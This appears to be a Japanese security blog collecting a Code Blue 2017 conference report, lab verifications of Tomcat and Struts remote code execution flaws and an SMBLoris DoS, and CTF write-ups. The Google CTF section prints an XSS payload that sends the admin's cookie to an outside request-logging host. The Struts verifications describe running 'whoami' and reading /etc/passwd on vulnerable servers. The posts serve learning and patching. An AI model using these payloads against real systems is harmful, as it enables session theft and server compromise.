Code Blue 2017 カンファレンス参加レポート
11月9～10日に開催された日本のセキュリティカンファレンスであるCode Blue 2017に参加してきました。
備忘録的に興味深かった内容をさらっと書いておこうかと思います。ちゃんと理解できていない部分もあるので、間違っている可能性もあるとご理解ください。
基調講演：サイバースペースにおける国家主権
サイバー犯罪と国家の主権に関する話。書いていたメモが消えたので、感想だけ軽く……。
講演者はNATO法律顧問であり、航空宇宙、海事、サイバー戦略および政策に関して企業として組織に助言しているとのこと。 陸・海・空の軍事関係にサイバー空間を足してどう対応していくべきかを考える。 原子力潜水艦や船舶、衛星などの実際の攻撃事例が面白かった。 様々な課題がありますが、協力していきましょうというのはよくある国際社会とサイバー犯罪に関する講演の結論です。 今回も教育や学習という面でこのカンファレンスを通じて理解を深めましょうといった内容で、最初の基調講演としてはふさわしい内容だったのではないでしょうか。
参考URL
Galileo atomic clocks failed: What can we learn from it?
FACT CHECK: Did Russia Hack the GPS System of the USS John McCain to Cause a Collision?
Step-Oriented Programming による任意コード実行の可能性
講演者の坂井弘亮氏は独自組み込みOS「KOZOS」を作成している。それと、SECCONの実行委員の方。
- 組み込み機器はデバッグポートが有効になっていると基本的になんでも行えてしまう
ので、リリースの際にはデバッグポートは使えないようにしましょう
コードを実行できないからと言って、安全ではなく、SOP(Step-Oriented Programming)という方法で攻撃ができる(一般的な名称ではない？)
- 組み込み機器ではRSPプロトコルを使ってリモートデバッグを行う
- 組み込みのデバッグではプログラムカウンタを簡単にいじれるので、ROPのように既存のコードを使ったコード実行が容易
- SECCONでSOPを利用して解く問題を出したところ、みんなSOPを利用して問題を解いていたので、この手法自体は誰もが簡単に思いつくものである
技術的な内容は難しかったですが、SECCONの問題の解説はなかなか面白かったです。 実際にリモートデバッグを使ったコード実行のデモを行っていたので、漠然と何をやっているのかは理解できました。 組み込み機器に対する攻撃手法はあまり詳しくありませんが、普段 Exploit する人たちからしたら、今回の攻撃の手法はROPからすぐに思いつくのかなあという感想。
参考URL
Howto: GDB Remote Serial Protocol
産業制御システムに対するStuxnet以来最大の脅威
Industroyerという産業システムを狙ったマルウェアの解析に関する話
- 産業システムを狙うマルウェアとしては、Stuxnet → HAVEX(Dragonfly) → BlackEnergy → Industroyer といった大きな事例があった
- 各マルウェアは産業システムで行う破壊活動の内容の違いがある
- 産業システムと言っても管理はWindowsで行われており、そこが狙われる
- (正直 Industroyer のペイロードの解説などはちょっと理解ができなかった)
- Industroyer というマルウェアはとても多機能で、後からモジュールをロードできる
- 攻撃者は多数のモジュールを用意し、攻撃対象に合わせたモジュールをロードし、目的を達成する
結局のところ、狙われているのはWindowsであり、今回の解析対象もWindowsマルウェアでした。 質疑で日本も標的になりうるかとい質問に、個別システムのモジュールを攻撃者が用意することができれば、どんなシステムも標的になりうるという点が印象深かった。
参考URL
停電の原因は産業制御システム狙うマルウェアか 「Stuxnet以来、最大の脅威」 - ITmedia エンタープライズ
産業制御システムに最大級の脅威をもたらすマルウェア「インダストロイヤー」 | マルウェア情報局
WIN32/INDUSTROYER A new threat for industrial control systems
日本を狙うAPT攻撃の全体像 - APT攻撃インシデントSTIXデータベース
JPCERTの方の発表。日本で行われたAPTの利用されたマルウェア、攻撃キャンペーン、Threat Actorなどを紐づけて全体像を把握するための仕組みをつくりましたと言う内容
- ここ数年日本で活動していた Blue termite、APT17、Tick/Daserf、ChChes が対象
- STIX形式で各内容まとめてみると、攻撃者の動向が把握できる
- 各キャンペーンの活動時期をTimelineとして並べるデモを行った
ただ、標的型攻撃のインシデント詳細をそこまで大量に持っているのはJPCERTくらいじゃないかと思う。問題提起がそもそもJPCERTの内部の問題なんじゃ……。 JPCERTの持っている情報も機微なものが含まれるので、そのまま公開はできないとのこと。 手軽な情報共有の基盤を作ったのなら分かるが、STIX形式の入力は現状「頑張って」やっているそうで、頑張らなきゃ使えないシステムは普及しないのでは……。 JPCERT以外の組織での利用シーンはあまり思いつかないのが正直なところ。 マルウェアの挙動なんかは面白かったので、もう少し掘り下げてほしかったけど、そこは次の講演者の発表で。
参考URL
脅威情報構造化記述形式STIX概説：IPA 独立行政法人 情報処理推進機構
攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査-
引き続きJPCERTの方の発表。
- 攻撃者の利用するツールはマルウェア以外(正規のツール、コマンド)も多くあり、それらは検知が困難
- 攻撃者が侵入後行う活動に着目し、どのようなコマンドが実行されるかを調査
・初期調査
tasklist ⇒ 仮想環境の検知など
・探索活動
dir ⇒ 欲しいファイルの探索
net ⇒ ローカルネットワークの探索
ping⇒ネットワーク内のホストを探すため
echo⇒スクリプトファイル(powershell)の作成
dumpel、LogParser(デフォルトでは入っていない)
cscript ⇒ ログオンイベントの探索
・感染拡大
at,schtasks ⇒ コマンド実行
・痕跡の削除
del
wevtutil ⇒ イベントログの削除(イベントログを見ることもできるので、他の用途でも利用される)
- こうしたマルウェアの挙動を見るにはイベントログがもっとも有用
- ただし、デフォルトではコマンドの内容までは取れないので、監査ポリシーの設定は必要
- Sysmonというツールを併用するとよい
- 攻撃者によってイベントログが削除されることを考えて、イベントログサスクリプションを利用する
さすが、JPCERTは見ている量が違うなと。 ちゃんとやっているその内容も逐次公開してくれているので、ありがたい限りです。 ほとんどはJPCERTのサイトで公開している内容ですが、こうして改めて話を聞く機会があるのはとてもうれしい。
参考URL
インシデント調査のための攻撃ツール等の実行痕跡調査に関する報告書（第2版）公開（2017-11-09）
Sysmon - Windows Sysinternals | Microsoft Docs
インサイドShell：.NETハッキング技術を応用したPowerShell可視性の向上
- マルウェアダウンローダーのEXEファイルからjavascriptへの変遷
- Powershellがダウンローダーや横展開で利用されているが、Powershell自体は正規のプロセスのため検知が難しい
- ASMIという機能が提供されており、Powershellを利用した攻撃の防御に有効
- ただ、Windows 10のみ、Powershell v5のみという制約があり、また、ASMIをバイパスする手段も存在する
- .NETネイティブコードをフックして対象外のWindows、Powershellのバージョンで動作するASMIを実装する
- Powershellコードの実行時のメソッドをフックすることで、難読化されたスクリプトを解除した状態で表示できる
スライド、実際のコードは公開されています。ASMIという機構については知らなかったので、勉強になりました。 Powershellは最近攻撃によく利用されるので、勉強しなくちゃならないなーと。
参考URL
DotNetHooking/CodeBlue_1110_JP.pdf at master · tandasat/DotNetHooking · GitHub
GitHub - tandasat/DotNetHooking
Releases · PowerShell/PowerShell · GitHub
国産IT資産管理ソフトウェアの（イン）セキュリティ
リクルートのRed Teamに所属する西村宗晃氏の講話。国産IT資産管理ソフトウェアと聞くと、最近注意喚起のあった某社製品を思い浮かべますが、今回の話はそれではなく、(その事例に端を発してはいますが、)国産IT資産管理ソフトウェア一般に色々な脆弱性がありますという内容。
- IT資産管理ソフトウェアとは
社員のPCを一元管理するためのソフトウェア
ソフトウェアファイルの管理、デバイスの利用制限、プログラムの配布(アップデート配信)、社員のPCの遠隔操作といった機能と持つ(話者曰く、つまりMeterpreterみたいなもの)
通常、社内のイントラ内で利用しているが、持ち出し用のPCでUSBタイプのモデムを使うなど、グローバルIPが振られたときに攻撃される恐れがある。
IT資産管理ソフトウェアの通信
・クライアントPCの遠隔操作用通信
・管理操作(管理者が専用クライアントソフトから管理機へアクセス)
・クライアントPCからのインベントリ情報の送信、管理指示(定常的な通信)
・管理機からの指示(緊急でのクライアントへの命令など)
- 国産IT資産管理ソフトウェアの脆弱性
実際にいくつかの国産IT資産管理ソフトウェアに見つかった脆弱性の紹介
管理機通信の偽装
クライアントPCと管理機は暗号化された独自プロトコルを利用して通信しているが、暗号化通信の鍵がインストーラに埋め込まれており、復号可能。
復号した通信に管理機のドメインとポートが書いてあり、そこを書き換えることで管理機を偽装することができた。
鍵は全て共通のものを利用しており、製品を利用している他社のPCにも同じことができる。クライアントPCの遠隔操作
クライアントPCとVNCで接続するタイプのソフトウェアだが、認証がかけられていなかった。試したところ、特定のバージョンのVNCで接続すると、簡単にリモート接続ができてしまった。管理機へのアクセスの不備
管理機へ認証なしでアクセスが可能だった。さらに、管理機にSQLインジェクションの脆弱性があり、社員のPCの情報をすべて見ることができるようになっていた。管理機との通信の悪用
通信内容は暗号化されているが、暗号方式が脆弱であったり、Windows のCryptAPIを利用しており、APIをフックするといった手法で暗号が解かれることがある。一度暗号化を解いてしまうと、SQLインジェクションや管理者のパスワードを窃取されるなどの攻撃が行われる。
また、管理機に社員番号のディレクトリが作成されるようなタイプのソフトウェアでは、社員番号にディレクトリパスを指定することでディレクトリトラバーサルが可能な事例も存在した。
- こうしたソフトウェアは体験版を個人で取り寄せることも可能で、おそらく攻撃者もそうやって脆弱性を探している
例のソフトウェアの脆弱性の話をするのかと思っていましたが、予想とは違っていました。ただ、なかなか面白い内容で、こういうソフトウェアって意外と脆弱性多いんだな、と率直に思いました。 別にIT資産管理ソフトウェアだけでなく、他の国産ソフトウェアもきっと似たような事例はあるんじゃないかと思っています。特定の国を狙った標的型攻撃にその国でよく利用されていているソフトウェアをハックする方法は以前からありますし、最近は特に増えている気もします。 今回のようなRed Teamの活動の重要性が分かりました。
基調講演： OSSによる自動車の自動運転化 –
車のネットワークをハックして自動運転を行おうというオープンソースプロジェクトの紹介
- 各社の公開資料や自動車のリバースエンジニアリング(OpenDBC)から自動車を運転するためのAPIを作る
- 運転に必要なAPI：ブレーキ、ガス、ステアリングを既存APIをもとに組み立てる
- cabana：自動車のハッキングのためのオープンソースのPythonライブラリ
- openpilotのデモ
主に自動運転の話でしたが、リバースエンジニアリングや、自動車のAPIなど、普段聞かない話は面白かったです。 法整備や国ごとの特色など、課題は多そうですが、自動運転は未来の技術として期待したいです。
参考URL
GitHub - commaai/opendbc: democratize access to car decoder rings
Find the pattern in the S-Boxes and write a short program to generate them with - Pastebin.com
openpilot/SAFETY.md at devel · commaai/openpilot · GitHub
9 minutes of openpilot. unedited. - YouTube
聞いていないけど興味があった講演(参考資料だけ)
■SSRFの新時代 - 有名プログラミング言語内のURLパーサーを攻撃！
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
■マン・イン・ザ・NFC
DEF CON 25 - Haoqi Shan, Jian Yuan - Man in the NFC - YouTube
■大義のために：趣味と実益のためのVMware RPCインターフェースの活用
https://ruxcon.org.au/assets/2017/slides/ForTheGreaterGood.pdf
■商用ホワイトボックス暗号方式" に対する "鍵回復攻撃"
Practical attacks on commercial white-box cryptography solutions
https://eprint.iacr.org/2015/753.pdf
■Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
GitHub - linkedin/qark: Tool to look for several security related Android application vulnerabilities
trueseeing 2.0.9 : Python Package Index
全体の感想
日本の国内外問わず、セキュリティに関するさまざまなトピックを聞くことができました。普段聞かない領域の話も多くあり、とても勉強になりました。 今回は特に日本の事例が面白かったです。 色々なセキュリティの記事やニュースを見ていると国外のすごい人は色々いますが、国内にもすごい人はいるなあ、と感じました。 これからもセキュリティ業界をますます発展させていきたいですね。
Apache Tomcat の脆弱性(CVE-2017-12617)について
9月の中頃から少し騒がれていたApache Tomcatのリモートコード実行の脆弱性についてです。
関連する脆弱性は CVE-2017-12615、CVE-2017-12616、CVE-2017-12617 の3つです。 それぞれが順番に出てきて、情報が小出しにされている感じでしたが、結局条件を満たしていれば、影響範囲は割と広いようです。
結構早い段階で検証している方もいたので、PoCはあるということは分かっていました。
Tomcatの一連のRCEの脆弱性について(CVE-2017-12615, CVE-2017-12617) - Cat.6(ねころっく)
脆弱性の内容自体は以下の通りです(サイオスのセキュリティブログから)。
Tomcatの複数の脆弱性 ( CVE-2017-12617, CVE-2017-12615 , CVE-2017-12616 ) — | サイオスOSS | サイオステクノロジー
CVE-2017-12617
リモートからの任意のコード実行の可能性
重要度 - Important
影響するバージョン : 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46, 7.0.0 to 7.0.81
サーバ上の設定でHTTP PUTが有効になった状態(つまり、readonly initialisationパラメータをfalseに設定している時)でで動作している際に、特別に細工されたリクエストにより、サーバにJSPファイルをアップロードすることが可能です。このJSPにコードを仕込むことで、サーバ上で任意のコードを実行することが可能になります。
9/19に公開されたCVE-2017-12615に対する修正では、この問題は解決されませんでした。
CVE-2017-12615
リモートからの任意のコード実行の可能性
重要度 - Important
影響するバージョン : Windows:
7.0.0 to 7.0.79 Windows上でHTTP PUTが有効になった状態(つまり、readonly initialisationパラメータをfalseに設定している時)でで動作している際に、特別に細工されたリクエストにより、サーバにJSPファイルをアップロードすることが可能です。このJSPにコードを仕込むことで、サーバ上で任意のコードを実行することが可能になります。
この修正は実際には、リリース時のチェックの関係で7.0.81に加えられているため、更新する際には7.0.81にする必要が有ります。
CVE-2017-12616
情報流出の可能性
重要度 - Important
影響するバージョン : 7.0.0 to 7.0.80
VirtualDirContextを使用している際に、セキュリティ制限をバイパスすることが出来ます。これにより、特別に細工されたリクエストを用いてVirtualDirContextにより提供されるJSPリソースのソースコードを見る事が可能になります。
CVE-2017-12617 の検証
Linux環境でTomcatのリモートコード実行を行ってみました。 readonlyパラメータをfalseにしておくと、PUTメソッドでファイルがアップロードできます。
検証環境
設定ファイルの変更
Tomcatの「conf/web.xml」ファイルでreadonlyパラメータをfalseにします。
攻撃コードの実行
脆弱な Tomat サーバに対してPUTメソッドでファイルを設置します。
テストのファイルをPUTし、アクセスすると、ファイルが作成されていることが分かります。
JSPファイルをアップロードすることで任意のコード実行が可能です。
アップロードしたファイルにアクセスして、「whoami」を実行してみます。
コマンドの実行結果が返ってきました。
ちなみに、脆弱な設定になっていないTomcatサーバへPUTをしようとしても403が返ってきます。
脆弱性の内容としてはPUTによるファイルアップロードが実態のようです。JSPファイルをアップロードしてコード実行が行うことができますが、バックドアをアップロードしてコード実行を行うのは一般的な攻撃手法なので、なぜリモートコード実行の脆弱性なのかが分かりません。
検証してみた感想としては、これただのPUTじゃんという思いが強いのですが、PUTが可能ということ自体が重大な脆弱性であるので、アップデートするなり適切な対処をしましょう。
参考
Tomcatの複数の脆弱性 ( CVE-2017-12617, CVE-2017-12615 , CVE-2017-12616 ) — | サイオスOSS | サイオステクノロジー
Apache Tomcatに含まれる脆弱性(CVE-2017-12617)に関する脆弱性検証レポート | NTTデータ先端技術株式会社
Tomcatの一連のRCEの脆弱性について(CVE-2017-12615, CVE-2017-12617) - Cat.6(ねころっく)
今月のApache Strtus 2 のリモートコード実行の脆弱性(S2-052/S2-053)
毎度おなじみのApache Struts 2 のリモートコード実行の脆弱性です。
前回の脆弱性からさほど時間が経っていませんが、今回もまたCriticalな脆弱性が出てきました。
ブログのネタを提供してくれるのはうれしいのですが、余計な仕事を増やされるのは困りものです。
S2-052(CVE-2017-9805)について
S20-50～S2-052 までは同時に公開されました。そのうちS2-052 の脆弱性はレートがCriticalとなっており、緊急性の高いものでした。
今回はREST プラグインが有効になっているという前提条件が付きます。
概要
Apache StrutsのRESTプラグインを有効にしていると、XStream ハンドラのデシリアライズの処理に起因してリモートからコード実行が可能になる脆弱性
影響範囲
修正バージョン
対策
- 修正バージョンへのアップデート
- REST プラグインの無効化
検証
今回もすぐにPoCが公開されましたので、検証してみました
Dockerでさくっと、Struts 2.5.12の環境を作ります。
POSTで Content-type ヘッダに「application/xml」にし、ボディにコード実行のPoCを入れます。今回実行するコマンドは「touch /tmp/hackedByMe」としています。
投げます。
500番のエラーが返ってきます。
これで攻撃は成功しているようで、サーバ側で攻撃のプロセスは起動しているようです。
Dockerのコンテナの中に入って確認すると、確かにtouchコマンドで作成したファイルが置いてありました。
応答がエラーページになっており、使用したPoCでは、例えばcatのような標準出力の値をそのまま表示させることはできません。バックドアを作ったり、一度ファイルに書き込んで、外に投げるなどが必要です。
ちなみに脆弱性のない修正版の Struts 2.5.13 で試したところ、同様に500番エラーが返ってきましたが、プロセスは実行されませんでした。
脆弱なバージョンでREST プラグインが有効になっていればほぼ攻撃は成功するため、緊急性の高い脆弱性です。
S2-53(CVE-2017-12611)について
S2-052が公開されたしばらく後に公開された脆弱性はレートはModerateとなっています。
こちらはアプリケーションの作りによって回避可能な脆弱性です。
概要
Freemarkerタグの処理に脆弱性があり、開発者が誤った使い方をしていると、リモートからコード実行が可能になる脆弱性
影響範囲
修正バージョン
対策
- 修正バージョンへのアップデート
- 実装上の問題はあまり詳しくないので下手なことは書けませんが、Freemarkerタグを使って要求の値を読み取ることができるような実装になっている場合に脆弱性が発生するようです(違っていたらすみません)。
検証
S2-053に対して脆弱なアプリケーションが公開されていたので、検証してみました。 Dockerで引っ張ってきて起動すると、以下のようなアプリケーションが立ち上がります。
nameには任意の値を入れることができ、適当な文字列を入れると、その文字がnameに表示されます。 そして、%{100-9}のような値を入れると計算結果の「91」がnameに入ります。
このnameという変数でFreemarkerタグが利用されており、脆弱な状態になっています。 ここに攻撃コードを入れます。今回は「whoami」を実行してみます。
ユーザ(root)が表示されました。
また、「cat /etc/passwd」を実行してみると以下のようになります。
こちらは分かりやすいリモートコード実行ですが、アプリケーションがこのデモ用のサイトと同じような作りになっている必要があります。 アプリケーション個別の実装を考慮する必要がある分、攻撃者にとっては若干攻撃コストが上がります。
また、脆弱性の範囲はS2-045などをかぶっている部分が多いので、この攻撃を行うならS2-045のほうが…という気もしなくはないです。
ただ、2.3系では最新版以外は有効ですし、S2-045などの脆弱性をパーサの変更などで対処してバージョンアップをしていないというような場合は、影響を受ける可能性があるので、注意が必要です。
参考
Apache Struts 2 の脆弱性 (S2-052) に関する注意喚起
CVE-2017-9805 (S2-052) - 脆弱性調査レポート | ソフトバンク・テクノロジー
Apache Struts 2における脆弱性 (S2-052、CVE-2017-9805)は悪用可能と確認 | セキュリティ対策のラック
Apache Struts 2の脆弱性(S2-052)や(S2-053)についてのまとめてみた。 - にゃんたくのひとりごと
VulApps/s/struts2/s2-053 at master · Medicean/VulApps · GitHub
DEF CON 25で発表されたSMBLorisの脆弱性を検証してみる
今年のDEF CONで発表されたSMBを狙ったDoS攻撃に関するお話です。
SMBLoris Windows Denial of Service Vulnerability
脆弱性を悪用する攻撃に SMBloris という名前をいう名前を付けています。 名前は2009年に見つかったApacheのDoS攻撃である Slowloris に因んだものでしょうか。
影響を受ける範囲は Windows 2000 から Windows 10 までと幅広く、LAC社のブログでは Debian でも成功したとの記述があります。
Windows SMBの脆弱性「SMBLoris」の再現を確認しました | LAC WATCH | 株式会社ラック
SMBLorisのサイトでは以下のように書かれています。
Is Samba affected?
Samba, an alternative to SMB for other operating systems, is also vulnerable in a default install but has a workaround.
Set: max smbd processes = 1000 in smb.conf (usually found in /etc/samba).
デフォルトでは影響を受けるようですが、設定によって回避ができるようです。
すべてのバージョンのSMBで認証不要で攻撃可能ですので、445番ポートが空いていればほぼ攻撃を受けると考えてよさそうです。
脆弱性についてですが、今のところCVE番号などは採番されていないようです。
また Microsoft からはこの脆弱性に対応するパッチは出ないそうです。445番ポート閉じろってことですね。
ここ最近、Eternalblue みたいな445番ポートを狙った攻撃がしょっちゅう話題になっていたので、まさか今更そんなポートを外部に公開している企業なんかないだろう、と信じています。
検証
各所で検証動画とかが公開されているので、新しさはないですが、ちょっとやってみました。
とはいえやるのは、PoCを打つだけです。
攻撃先は Windows 10 です。
で、打った際のタスクマネージャ。
メモリの使用率が急激に上昇しています。
表示上は72%ですが、この時点でタスクマネージャが固まって動かなくなりました。
攻撃先ホストへPingを打っていたのですが、そこそこlossしています。
攻撃止めてもしばらくは固まったままでした(普段使いのPCだったからちょっと心配した)。
検証は以上です。SMB経由のDoSが攻撃としてどの程度有用かわかりませんが、通常の脆弱性への対処ができていれば、今回の攻撃の影響はそこまでではないかなという所感です。
参考
DEFCON-25-zerosum0x0-alephnaught-Koadic-C3
Windows SMB Zero Day to Be Disclosed During DEF CON | Threatpost | The first stop for security news
Apache Strutsの脆弱性(S2-048)について
7月7日(金)の夜から7月8日(土)の日付が変わるくらいから、一部で騒いでたApache Strutsの新しい脆弱性です。 さすがに前回の脆弱性S2-045とS2-046がかなり大きな影響を与えただけあって、セキュリティ関係者はアンテナ張っていたようで、情報は早かったですね。 公開されたのは、週末というちょっと嫌な時間でしたが。
注意喚起
Apache Struts 2 の脆弱性 (S2-048) に関する注意喚起
S2-048概要
またリモートコード実行です。 ただ、今回は影響範囲は限定的です。
- 脆弱なバージョン
本脆弱性は、Struts アプリケーションを、Struts 1 Plugin を使用して動作 させている場合に影響を受ける可能性があります。Struts アプリケーション に対する本脆弱性の影響について、詳細は Struts アプリケーションの開発者 からの情報を参考にしてください。
- 修正バージョン
Apache Struts 2.3.33 ( Version Notes 2.3.33 )
ちなみに今回も、脆弱性公開時点で公式には修正バージョンが上がっておらず、Gitなどにあるテストリリースのみという状態でした。
検証
今回もPoCが出るのは早かったです。 ということで、さくっと検証してみました。
Dockerでコンテナを立ち上げて、サンプルアプリのshowcaseを動かします。
このページがStruts 1 pluginの動いているページで、ここに対して攻撃コードをPOSTで送ります。 「echo testtesttest」を実行してみます。
攻撃時のパケット(レスポンス)です。 実行したコマンドの結果が返ってきてます。 この辺りは以前のS2-045などと同じです。
ただし、S2-048ではStruts 1 pluginが動いているパスにしか効きません。 サンプルアプリケーションでは、「/struts2-showcase/integration/saveGangster.action」が対象です。
このStruts 1 pluginをどこで使っているかは上にのっているアプリケーションの作りによると思いますが、外から攻撃対象となるパスを判別することはできないのではないでしょうか。 また、Struts 1 pluginを利用しているだけではなく、メッセージを受け取り、脆弱性のあるメソッドで処理するような実装である必要があり、攻撃の条件は厳しいと思われます。 そのため、実質的にサンプルアプリケーションくらいにしか攻撃は成功しないのかもしれません。
S2-045の場合はStruts 2を利用していたらどの時点でアウトだったので、無差別な攻撃が当たることもありましたが、今回はそこまでの影響はなさそうです。 とはいえ、対策はちゃんとしましょう。
Apache Software Foundation からは、回避策として入力値を適切に処理する ことが示されています。
※ showcase 内のサンプル Struts アプリケーションに対する回避策の例 (適用前) messages.add(“msg”, new ActionMessage(“Gangster ” + gform.getName() + “ added successfully”)); (適用後) messages.add(“msg”, new ActionMessage(“Gangster ”, gform.getName()));
なお、JPCERT/CC では、本回避策の適用後、本脆弱性に対する実証コードの実 行により脆弱性を悪用されないことを確認しています。また、回避策の適用が 難しい場合には、不特定多数からのアクセスを制限することや、WAF (Web Application Firewall) の利用などの対策を検討してください。
S2-047とS2-049
なぜ番号が飛ばされたのか分かりませんが、今回はS2-048が先に出て、そのあとでS2-047とS2-049が出ました。
上記2つはいずれもDoSの脆弱性であり、Maximum security ratingもそれぞれ、LowとMidiumとなっており、そこまで影響の大きな攻撃ではなさそうです。
今回は攻撃を受けたりとあまり大きな騒ぎになってはいませんが、S2-045と同じようなRCEの脆弱性が今後も出てくる可能性があるということは十分わかりました。 情報を追いかけていく必要はありそうです。
Google CTFとTrendmicro CTF
2週間連続でCTFに参加しましたので、まとめて記事にします。
- Google CTF : 2017/5/17, 00:00 UTC — 2017/6/18, 23:59 UTC
- Trend Micro CTF : 6月 2017/6/24, 04:00 UTC — 2017/6/25, 04:00 UTC
それぞれ問題の傾向に違いはありますが、全体的にGoogle CTFの方が難易度は高かったと思います。 バイナリの知識はもちろんですが、構築やサーバよりの技術、それからGoogleの技術に関する知識も多少必要になります。 対してTrendmicroのCTFは今回はネットワーク系の問題が多く、セキュリティを専門にやっている人がとっつきやすい問題が多かったように思います。
以下簡単な Write Up です。
Google CTF
Joe
解けそうで解けなかった問題です。 Web系の一番簡単な問題ですが、CTF開始時にはバグがあったとかで引っ込められ、1日経ったくらいに再出という形でした。
サイトにアクセスすると、パーソナルアシスタントがいるので、色々話をしてみようというもの。 色々クリック可能な部分があるので、とりあえず遊んでみます。
問題を解くのに重要な機能としては以下
- what is your name ⇒アシスタントの名前を確認できる
- let me rename you ⇒アシスタントの名前を変更できる
- Log in ⇒Googleアカウントを使ってログインできる
- report bug ⇒バグレポート(サーバがAdminで送ったURLにアクセスする)
- the admin page ⇒管理者用ページ(入れない)
ちなみに、サーバでは多分送信した文字列に単語が含まれているかで判断していると思われます。 「name」と「report」とかだけで機能が使えます。
管理者ページに入るにはAdminのCookieが必要ということでAdminのCookieを取得できればフラグがゲットできると予想できます。 で、Cookieですからまあ、XSSかなと想像します。
色々やってログインした後、アシスタントの挨拶の名前部分にXSSの脆弱性を発見します。
アシスタントの名前を＜s＞タグで囲ってやって、再読み込みするとアシスタントの名前部分が取り消し線で消されています。
スクリプトタグも実行できます。
アシスタントの名前はログインしているユーザによります。ここまでくると、攻撃の流れが読めてきます。
- ユーザAでログイン
- アシスタントの名前部分でXSSを仕掛ける
- レポート機能でAdminにユーザAでログインさせる
- クッキーゲット
やってみます。ログイン時のURLを確認します。
アシスタントの名前を以下のように変更します。
<script>window.location='https://requestb.in/********?'+document.cookie;</script>
アクセスさせるサイトにはRequestBinを利用しました。 今回のCTFで初めて使ったのですが、結構便利です。
RequestBin — Collect, inspect and debug HTTP requests and webhooks
AdminにアクセスさせるURLを調べます。
「login?」でトークンを渡している部分があるので、ここにアクセスさせます。 で、ログインさせるURLにアクセス……が、URLが長すぎると言われました。
ちなみに私はここで色々試しているところで時間切れになりました。(そもそもXSSの脆弱性を見つけたのがCTF終了1時間前くらい……)
正解は別のサイトを経由させて、このURLにアクセスさせる、ということでした。
自分のVPS上のDockerでWebサーバを立てて、以下のファイルを置きます。
<script type="text/javascript">window.location='https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSU...(省略)';</script>
で、バグレポートでここにアクセスさせます(サーバのIPを伏せてます)。
これでAdminは、 「私のサーバ」⇒「アシスタントのサイトに私のアカウントでログイン」⇒XSSによりRequestBinにAdminがアクセス という流れになります。
RequestBinのアクセス履歴。
フラグをゲット。
Trendmicro CTF
Forensic 100
問題はパケットです。ネットワークフォレンジックですね。 内容はDNSリクエスト。明らかに怪しい名前解決のクエリがあります。
これを見た瞬間にDNSトンネリングを行うマルウェアのC2通信という想定だろうと思いました。
こういうマルウェアの類だろうと。
OilRig攻撃活動: サウジアラビアの組織への攻撃でHelminthバックドアを配信 - Palo Alto Networks
標的型攻撃で使われたマルウェアを解析して C2 サーバを作った。そのマルウェアは DNSトンネリングを行う珍しいものだった。 -
ということで、DNSのクエリを取り出します。
tshark -r output.pcap -T fields -e dns.resp.name | grep co.jp | awk -F . '{print $1}'
tsharkを使い慣れていないので調べながら…。
20文字の列が沢山と最後に切れ端みたいなの。なんとなく、これ全体で1つの意味を持つのだと想像できます。
で、デコードですが、Base64ではない、そう簡単ではないかと思いつつも、こういう系の問題は大体Base～だろうとあたりをつけます。Base16やBase32にしては文字の種類が多いとか思いつつ、「Base5」までGoogleで入れたらBase58がサジェストされました。
Bitcoinなんかで使われているようですね。
オンラインのデコーダを探してぶち込んで終わり。
Base58 Decode Text - Base58 String Decoder - Online - Browserling Web Developer Tools
Misc 100
壊れて読み取れないパケットの解析。バイナリエディタで見たら後半の方でFTPでなんかの鍵をやり取りしているので、それを使って通信を復号するんだろうなーとか思いつつ放置していました。
同じチームの人がパケットをWiresharkなどで読み取れるように修復してくれたのですが、それだけではフラグを取得できていないようだったので、自分でもやってみました
WiresharkでSSL通信を復号。FTPで送っている鍵はNSS Key Log Format( NSS Key Log Format - Mozilla | MDN )とかいうやつ。
HTTP2でなんかやってる。HTTP2だとヘッダなんかも圧縮されて読めないんですね。
Wiresharkが解析してくれた部分を追っていくと、なんかのサイトにアクセスしている。アクセス先はもう消えている。
オブジェクトをWiresharkからエクスポートできないので、通信をバイナリとしてそのままダンプ、画像はForemostで切り出し、他はgzipで圧縮されているので、とりあえず7zipで開いたら普通に取り出せた(7zip便利)。
ちなみにサイトのパーツは以下の通り。
- / (index.html)
- /main.css
- /images/beer-2288121__340.jpg
- /images/blueberries-2278921__340.jpg
取り出してサイトを再現してみる。サイトの内容は読めない(ラテン語？) 画像はGoogle画像検索すると色々出てくるので、多分フリー素材。
main.cssにはBase64で埋め込まれた画像があり、index.htmlではそれらを上半分と下半分に切り分けた2枚の画像が貼り付けられています。また、ソースの中に「HINT: visual cryptgraphy」とあります。
で、これらを重ね合わせればいいんじゃね、ってことで、Base64から元画像を復元し、Gimpで重ねると答えが出てきました。
以上です。久しぶりに問題が解けて嬉しかったです。今回参加したものは割と実践に近く、色々と勉強にもなりました。
後、途中で放り出した問題も方向性はあっていたので、復習しておきたいです。
CTFは自分のレベルにあったものをやるべきだと改めて感じました。
野生のWannaCryを捕まえたい
話題になったWannaCryに関するお話です。 WannaCry自体についてはセキュリティ関係問わず、一般に大分広まったので、あらためて話すことでもないかなあと思います。
例によって詳しいまとめです。
世界的に流行ったランサムウェアですが、WindowsのSMBの脆弱性、MS17-010を悪用し、感染を広げるワームとしての機能を持っているという特徴が特筆すべき点でしょう。
いつものメールやWeb感染起因では、ユーザが目の前にいての感染ですが、今回の場合は知らない間に侵入されて、いつのまにか暗号化というパターンのため、感染端末がその管理者より早く第三者の目に触れることが多く、一般の方々の話題に上りやすかったのではないでしょうか。
とはいえ、話題のわりに日本での被害はそれほど多くはなかったようです。日本の場合、一般の家庭ではブロードバンドルータが端末の間にいるので、グローバルのIPへの攻撃があっても、端末に直接445番ポート宛の攻撃が届くことはまずないようです。
WannaCryの感染経路ですが、事態がおおよそ収束してから、各セキュリティ会社が考察を行っています。
ランサムウェア「WannaCry／Wcry」のワーム活動を解析：侵入／拡散手法に迫る | トレンドマイクロ セキュリティブログ
How did the WannaCry Ransomworm spread? - Malwarebytes Labs | Malwarebytes Labs
大規模ランサムウエア感染に関する緊急調査レポートを公開 | NTTデータ
初期感染にはNSAのバックドアツールである DoublePulser が利用されたとの見方が強いです。DoublePulser がどこから侵入したかは不明ですが、侵入された端末はWannaCry感染以前からこのバックドアがインストールされていた可能性が高いということになります。
今回のWannaCryをばらまいた犯人が事前に準備していたものなのか、それとも別の人間がほかの目的で準備していたものをWannaCryが横取りしたのか、そのあたりはわかりません。
